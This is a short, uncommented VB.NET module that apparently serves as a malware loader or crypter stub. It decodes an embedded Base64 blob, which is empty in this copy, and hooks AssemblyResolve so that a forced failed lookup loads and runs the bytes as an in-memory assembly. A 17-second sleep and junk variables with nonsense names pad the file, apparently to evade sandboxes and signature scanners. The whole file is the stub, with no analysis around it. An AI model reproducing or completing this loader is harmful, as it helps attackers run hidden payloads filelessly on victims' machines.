Module Module1
    Sub main()
        Dim omar As Byte() = Convert.FromBase64String("")
        aaa.ccccc(omar)

        System.Threading.Thread.Sleep(17000)

        Try
        Catch ehjkdhsakjffDASDaddax As Exception
            Dim asALKSJHdjsahkjHAS As Double = 648646466
            Dim fdsaHJASjkAKJShjhdd As String = "HJKASHKjdhJAHSfjahjdhkashdkjHAASJDfgg"
            If asALKSJHdjsahkjHAS = 648646466 Then
                Dim asdasdasdaws As String = "FdsafFSAAdasdasdDsdadasDSadaSD"
                Dim sadasASDASda As Double = 654654512556
            End If
        End Try

    End Sub



End Module
Public Class aaa
    Public Shared bbb As Object
    Public Shared Function ccccc(ByRef bbbdd As Byte()) As Boolean
        AddHandler AppDomain.CurrentDomain.AssemblyResolve, AddressOf rrffd
        bbb = bbbdd
        Try : AppDomain.CurrentDomain.ExecuteAssemblyByName("//")
        Catch wwws As Exception
            Return False
        End Try
        For Each xxss As Reflection.Assembly In AppDomain.CurrentDomain().GetAssemblies()
        Next
        Return True
    End Function
    Public Shared Function rrffd(ByVal vvdds As Object, ByVal wwssd As System.ResolveEventArgs) As Reflection.Assembly
        Dim ggffe As Reflection.Assembly = AppDomain.CurrentDomain.Load(bbb) : Return ggffe
    End Function

End Class